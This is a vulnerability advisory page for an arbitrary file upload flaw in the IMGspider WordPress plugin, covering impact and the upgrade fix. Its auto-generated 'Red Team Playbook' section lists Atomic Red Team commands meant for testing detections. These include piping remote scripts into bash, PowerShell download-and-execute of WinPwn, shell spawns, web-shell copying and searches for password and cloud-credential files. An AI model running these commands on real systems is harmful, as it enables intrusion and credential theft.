CVE-2024-6319
Overview
This vulnerability is an arbitrary file upload flaw caused by insufficient file type validation in the 'upload' function of the IMGspider WordPress plugin. The affected component is the file upload handler within the plugin's codebase, which fails to properly verify file extensions or MIME types before accepting user-supplied files. This lack of validation occurs in all plugin versions up to and including 2.3.10, enabling unauthorized file types to be stored on the server.
Vulnerability Description
The IMGspider plugin for WordPress is vulnerable to arbitrary file uploads due to missing file type validation in the 'upload' function in all versions up to, and including, 2.3.10. This makes it possible for authenticated attackers, with contributor-level and above permissions, to upload arbitrary files on the affected site's server which may make remote code execution possible.
Impact
An attacker with contributor-level or higher access can upload arbitrary files, potentially including web shells or scripts, enabling remote code execution on the affected server. This requires authenticated access but no user interaction beyond login. Successful exploitation can lead to full site compromise, data theft, or service disruption. The CVSS vector indicates network attack complexity is low and privileges are required, reflecting the need for authenticated access but no user interaction.
Solution
Users should upgrade the IMGspider plugin to version 2.3.11 or later, where proper file validation has been implemented as per the WordPress plugin repository changeset 3107741. Detailed patch instructions and version updates are available at https://plugins.trac.wordpress.org/changeset/3107741/imgspider and the Wordfence advisory at https://www.wordfence.com/threat-intel/vulnerabilities/id/63a4a077-c99e-4742-9fa1-f323fd24b950. No additional workarounds are recommended beyond applying the official update.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the IMGspider plugin for WordPress arises from inadequate validation of file types during the upload process. This oversight allows authenticated users, specifically those with contributor-level permissions or higher, to upload files without proper checks on their content or type. The absence of stringent file type validation means that attackers can potentially upload malicious files, such as web shells or scripts, which can then be executed on the server. This flaw exists in all versions of the plugin up to and including 2.3.10, making it a widespread issue for sites utilizing this plugin.
Attack vectors for exploiting this vulnerability are relatively straightforward. An attacker with the requisite permissions can leverage the upload functionality to introduce arbitrary files into the server environment. For instance, an attacker might upload a PHP script disguised as an image file. Once uploaded, this script can be executed, granting the attacker remote code execution capabilities. This scenario can lead to further exploitation, including data exfiltration, defacement of the website, or even the establishment of a persistent backdoor for ongoing access. The ease of exploitation, combined with the low barrier to entry for potential attackers, underscores the critical nature of this vulnerability.
The real-world impact of this vulnerability can be severe, particularly for businesses that rely on their online presence. Successful exploitation can lead to significant data breaches, loss of customer trust, and reputational damage. Furthermore, the ability to execute arbitrary code on the server can facilitate a wide range of malicious activities, including the installation of malware, which can affect not only the compromised site but also its visitors. The financial implications can be substantial, encompassing costs related to incident response, remediation, and potential legal liabilities stemming from data protection regulations. For organizations, the risk extends beyond immediate financial loss to long-term damage to brand reputation and customer loyalty.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regularly updating the IMGspider plugin to the latest version is crucial, as developers often release patches to address known vulnerabilities. Additionally, employing a web application firewall (WAF) can help filter out malicious upload attempts and provide an additional layer of security. Monitoring server logs for unusual activity, such as unexpected file uploads or execution of scripts, can also aid in early detection of exploitation attempts. Furthermore, implementing strict user role management and minimizing permissions for contributors can reduce the risk of unauthorized file uploads.
In conclusion, the vulnerability in the IMGspider plugin poses a significant threat to WordPress sites, particularly due to its potential for remote code execution. The ease of exploitation and the severe consequences of successful attacks highlight the importance of proactive security measures. By prioritizing regular updates, employing robust detection mechanisms, and enforcing strict access controls, organizations can significantly mitigate the risks associated with this vulnerability and protect their digital assets from malicious actors.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Wbolt | Imgspider | All |
cpe:2.3:a:wbolt:imgspider:*:*:*:*:*:wordpress:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-1 | Accessing Functionality Not Properly Constrained by ACLs |
35%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (4)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-6319 |
| wordfence.com |
GitHub CVE
|
https://www.wordfence.com/threat-intel/vulnerabilities/id/63a4a077-c99e-4742-9fa1-f323fd24b950?source=cve |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/browser/imgspider/tags/2.3.10/classes/post.class.php#L189 |
| plugins.trac.wordpress.org |
GitHub CVE
|
https://plugins.trac.wordpress.org/changeset/3107741/imgspider |